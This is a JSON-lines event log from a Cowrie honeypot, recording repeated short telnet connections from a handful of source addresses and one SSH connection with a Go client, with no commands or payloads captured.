{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46342,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd879590a4c2","protocol":"telnet","message":"New connection: 147.135.136.77:46342 (159.203.135.109:23) [session: cd879590a4c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:49.141739Z"}
{"eventid":"cowrie.session.closed","duration":30.968490839004517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:49.158728Z","src_ip":"37.187.24.227","session":"c34be402fb00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":43802,"dst_ip":"159.203.135.109","dst_port":23,"session":"4eecf19b51fd","protocol":"telnet","message":"New connection: 51.79.21.139:43802 (159.203.135.109:23) [session: 4eecf19b51fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:49.226961Z"}
{"eventid":"cowrie.session.closed","duration":30.73966932296753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:49.252062Z","src_ip":"147.135.136.77","session":"c672e3b92554","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46358,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2a2caba6361","protocol":"telnet","message":"New connection: 147.135.136.77:46358 (159.203.135.109:23) [session: c2a2caba6361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:49.714806Z"}
{"eventid":"cowrie.session.closed","duration":30.985122203826904,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:50.034792Z","src_ip":"51.79.21.139","session":"8dbc69f5af4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.840959787368774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:50.040892Z","src_ip":"147.135.136.77","session":"bf66ffae5df7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":43812,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe7cbacb09a6","protocol":"telnet","message":"New connection: 51.79.21.139:43812 (159.203.135.109:23) [session: fe7cbacb09a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:50.556937Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45930,"dst_ip":"159.203.135.109","dst_port":23,"session":"a83128c046a0","protocol":"telnet","message":"New connection: 81.30.157.18:45930 (159.203.135.109:23) [session: a83128c046a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:50.753266Z"}
{"eventid":"cowrie.session.closed","duration":31.422622442245483,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:50.781537Z","src_ip":"147.135.136.77","session":"df5d89b4c5ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46338,"dst_ip":"159.203.135.109","dst_port":23,"session":"597d8d2fda0e","protocol":"telnet","message":"New connection: 147.135.136.77:46338 (159.203.135.109:23) [session: 597d8d2fda0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:50.912872Z"}
{"eventid":"cowrie.session.closed","duration":30.62838315963745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:51.022938Z","src_ip":"51.79.21.139","session":"2df890c30a3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.656947374343872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:51.059200Z","src_ip":"147.135.136.77","session":"ac78850291d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.573290824890137,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:51.071716Z","src_ip":"81.30.157.18","session":"aa54d18bbd78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.702061653137207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:51.086171Z","src_ip":"81.30.157.18","session":"45811aabd5e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46374,"dst_ip":"159.203.135.109","dst_port":23,"session":"10983f0693ec","protocol":"telnet","message":"New connection: 147.135.136.77:46374 (159.203.135.109:23) [session: 10983f0693ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:51.206848Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46388,"dst_ip":"159.203.135.109","dst_port":23,"session":"57ea9e2ad57b","protocol":"telnet","message":"New connection: 147.135.136.77:46388 (159.203.135.109:23) [session: 57ea9e2ad57b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:51.229491Z"}
{"eventid":"cowrie.session.closed","duration":30.850218296051025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:51.256265Z","src_ip":"147.135.136.77","session":"17767c7e7ce7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":43826,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6de0fe8bbf7","protocol":"telnet","message":"New connection: 51.79.21.139:43826 (159.203.135.109:23) [session: e6de0fe8bbf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:51.329229Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46402,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf019499b701","protocol":"telnet","message":"New connection: 147.135.136.77:46402 (159.203.135.109:23) [session: bf019499b701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:51.340633Z"}
{"eventid":"cowrie.session.closed","duration":30.73829483985901,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:51.485057Z","src_ip":"168.119.91.149","session":"93b8d521285b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.124412536621094,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:51.514986Z","src_ip":"37.187.24.227","session":"b6b60b491406","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46418,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a404bbacce6","protocol":"telnet","message":"New connection: 147.135.136.77:46418 (159.203.135.109:23) [session: 3a404bbacce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:51.708832Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46424,"dst_ip":"159.203.135.109","dst_port":23,"session":"08f73c5fa202","protocol":"telnet","message":"New connection: 147.135.136.77:46424 (159.203.135.109:23) [session: 08f73c5fa202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:51.936121Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46426,"dst_ip":"159.203.135.109","dst_port":23,"session":"e089fc40e3a6","protocol":"telnet","message":"New connection: 147.135.136.77:46426 (159.203.135.109:23) [session: e089fc40e3a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:51.941549Z"}
{"eventid":"cowrie.session.closed","duration":31.626314401626587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:52.024935Z","src_ip":"147.135.136.77","session":"1076605c3bfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":43830,"dst_ip":"159.203.135.109","dst_port":23,"session":"13b43a8930db","protocol":"telnet","message":"New connection: 51.79.21.139:43830 (159.203.135.109:23) [session: 13b43a8930db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:52.049775Z"}
{"eventid":"cowrie.session.closed","duration":30.31645441055298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:52.123773Z","src_ip":"147.135.136.77","session":"adb682f5bd6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46436,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3a0e667f91b","protocol":"telnet","message":"New connection: 147.135.136.77:46436 (159.203.135.109:23) [session: d3a0e667f91b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:52.227945Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46448,"dst_ip":"159.203.135.109","dst_port":23,"session":"184fe4490d51","protocol":"telnet","message":"New connection: 147.135.136.77:46448 (159.203.135.109:23) [session: 184fe4490d51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:52.285749Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":43846,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c6e23ed85d8","protocol":"telnet","message":"New connection: 51.79.21.139:43846 (159.203.135.109:23) [session: 5c6e23ed85d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:52.839180Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46456,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5fae7778c82","protocol":"telnet","message":"New connection: 147.135.136.77:46456 (159.203.135.109:23) [session: c5fae7778c82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:52.931108Z"}
{"eventid":"cowrie.session.closed","duration":30.65705180168152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:53.035991Z","src_ip":"147.135.136.77","session":"05a69c800ad7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":43858,"dst_ip":"159.203.135.109","dst_port":23,"session":"41607859d2eb","protocol":"telnet","message":"New connection: 51.79.21.139:43858 (159.203.135.109:23) [session: 41607859d2eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:53.057019Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46470,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b1747a0a8c9","protocol":"telnet","message":"New connection: 147.135.136.77:46470 (159.203.135.109:23) [session: 1b1747a0a8c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:53.545047Z"}
{"eventid":"cowrie.session.closed","duration":30.228280782699585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:54.047405Z","src_ip":"81.30.157.18","session":"515ee6a13ef2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87698984146118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:54.071353Z","src_ip":"147.135.136.77","session":"0b85a250f9d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95423674583435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:54.282645Z","src_ip":"147.135.136.77","session":"dba6fcc95615","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46482,"dst_ip":"159.203.135.109","dst_port":23,"session":"345b68055caf","protocol":"telnet","message":"New connection: 147.135.136.77:46482 (159.203.135.109:23) [session: 345b68055caf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:54.336743Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":33166,"dst_ip":"159.203.135.109","dst_port":23,"session":"f878f94dcb44","protocol":"telnet","message":"New connection: 37.187.24.227:33166 (159.203.135.109:23) [session: f878f94dcb44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:54.662327Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55408,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e463f0a6808","protocol":"telnet","message":"New connection: 168.119.91.149:55408 (159.203.135.109:23) [session: 7e463f0a6808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:54.696005Z"}
{"eventid":"cowrie.session.closed","duration":30.670724391937256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:55.038364Z","src_ip":"147.135.136.77","session":"392a7d879673","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":47490,"dst_ip":"159.203.135.109","dst_port":23,"session":"d197dbeb721e","protocol":"telnet","message":"New connection: 51.79.21.139:47490 (159.203.135.109:23) [session: d197dbeb721e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:55.062425Z"}
{"eventid":"cowrie.session.closed","duration":30.777987718582153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:55.139923Z","src_ip":"147.135.136.77","session":"90bf89fd7c11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.292299270629883,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:55.189122Z","src_ip":"147.135.136.77","session":"797b756d3e8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46498,"dst_ip":"159.203.135.109","dst_port":23,"session":"b68223e7a0cb","protocol":"telnet","message":"New connection: 147.135.136.77:46498 (159.203.135.109:23) [session: b68223e7a0cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:55.331028Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55412,"dst_ip":"159.203.135.109","dst_port":23,"session":"8659e55ac108","protocol":"telnet","message":"New connection: 168.119.91.149:55412 (159.203.135.109:23) [session: 8659e55ac108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:55.661965Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55414,"dst_ip":"159.203.135.109","dst_port":23,"session":"77753c9f7bb2","protocol":"telnet","message":"New connection: 168.119.91.149:55414 (159.203.135.109:23) [session: 77753c9f7bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:55.716099Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":38212,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa3d6d35300a","protocol":"telnet","message":"New connection: 147.135.136.77:38212 (159.203.135.109:23) [session: fa3d6d35300a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:55.988044Z"}
{"eventid":"cowrie.session.closed","duration":30.746034145355225,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:56.045391Z","src_ip":"147.135.136.77","session":"e414c3a35f76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":38226,"dst_ip":"159.203.135.109","dst_port":23,"session":"017f0bd2ede7","protocol":"telnet","message":"New connection: 147.135.136.77:38226 (159.203.135.109:23) [session: 017f0bd2ede7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:56.050452Z"}
{"eventid":"cowrie.session.closed","duration":30.16811513900757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:56.070163Z","src_ip":"147.135.136.77","session":"43e9cb5d4ed8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.973071336746216,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:56.075192Z","src_ip":"51.79.21.139","session":"98960e15305e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.754565238952637,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:56.078451Z","src_ip":"147.135.136.77","session":"a6da7271283c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":47502,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a78aa588a1c","protocol":"telnet","message":"New connection: 51.79.21.139:47502 (159.203.135.109:23) [session: 9a78aa588a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:56.128364Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":38236,"dst_ip":"159.203.135.109","dst_port":23,"session":"39ffefa7bcb1","protocol":"telnet","message":"New connection: 147.135.136.77:38236 (159.203.135.109:23) [session: 39ffefa7bcb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:56.828490Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55418,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2bf59c82b75","protocol":"telnet","message":"New connection: 168.119.91.149:55418 (159.203.135.109:23) [session: c2bf59c82b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:56.929838Z"}
{"eventid":"cowrie.session.closed","duration":30.41514277458191,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:57.055055Z","src_ip":"147.135.136.77","session":"7a8777cd1452","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.117023706436157,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:57.120082Z","src_ip":"147.135.136.77","session":"f612b5c32e42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":47518,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8a1dc583988","protocol":"telnet","message":"New connection: 51.79.21.139:47518 (159.203.135.109:23) [session: c8a1dc583988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:57.274358Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":38252,"dst_ip":"159.203.135.109","dst_port":23,"session":"26060c097976","protocol":"telnet","message":"New connection: 147.135.136.77:38252 (159.203.135.109:23) [session: 26060c097976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:57.419022Z"}
{"eventid":"cowrie.session.closed","duration":30.194316864013672,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:57.560030Z","src_ip":"168.119.91.149","session":"851802ecc9d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55434,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d9c0789f1eb","protocol":"telnet","message":"New connection: 168.119.91.149:55434 (159.203.135.109:23) [session: 6d9c0789f1eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:57.779776Z"}
{"eventid":"cowrie.session.closed","duration":30.796557903289795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:58.076272Z","src_ip":"81.30.157.18","session":"164ec5848634","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.801028966903687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:58.151004Z","src_ip":"147.135.136.77","session":"01e10ca99b8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":38268,"dst_ip":"159.203.135.109","dst_port":23,"session":"4144b38c1986","protocol":"telnet","message":"New connection: 147.135.136.77:38268 (159.203.135.109:23) [session: 4144b38c1986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:58.195951Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55440,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcf5352735fa","protocol":"telnet","message":"New connection: 168.119.91.149:55440 (159.203.135.109:23) [session: fcf5352735fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:58.317946Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":38278,"dst_ip":"159.203.135.109","dst_port":23,"session":"e541a991ea28","protocol":"telnet","message":"New connection: 147.135.136.77:38278 (159.203.135.109:23) [session: e541a991ea28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:58.721841Z"}
{"eventid":"cowrie.session.closed","duration":31.510997772216797,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:58.785510Z","src_ip":"147.135.136.77","session":"6d5efb53d578","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":59430,"dst_ip":"159.203.135.109","dst_port":23,"session":"e07804729c42","protocol":"telnet","message":"New connection: 81.30.157.18:59430 (159.203.135.109:23) [session: e07804729c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:58.797608Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":47520,"dst_ip":"159.203.135.109","dst_port":23,"session":"62b616a684bf","protocol":"telnet","message":"New connection: 51.79.21.139:47520 (159.203.135.109:23) [session: 62b616a684bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:59.008564Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":47530,"dst_ip":"159.203.135.109","dst_port":23,"session":"97d4d0a29fa4","protocol":"telnet","message":"New connection: 51.79.21.139:47530 (159.203.135.109:23) [session: 97d4d0a29fa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:59.053397Z"}
{"eventid":"cowrie.session.closed","duration":30.812882661819458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:59.140960Z","src_ip":"46.101.32.143","session":"cd75e1129bbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.621782541275024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:59.146850Z","src_ip":"147.135.136.77","session":"b13bc1b668a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":42192,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfbac43b65ec","protocol":"telnet","message":"New connection: 37.187.24.227:42192 (159.203.135.109:23) [session: bfbac43b65ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:59.261410Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":47542,"dst_ip":"159.203.135.109","dst_port":23,"session":"50989891ad71","protocol":"telnet","message":"New connection: 51.79.21.139:47542 (159.203.135.109:23) [session: 50989891ad71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:59.299194Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":58290,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7a8291427a1","protocol":"ssh","message":"New connection: 80.94.92.184:58290 (10.17.0.5:22) [session: d7a8291427a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:59.381088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:59.478233Z","src_ip":"80.94.92.184","session":"d7a8291427a1","protocol":"ssh"}
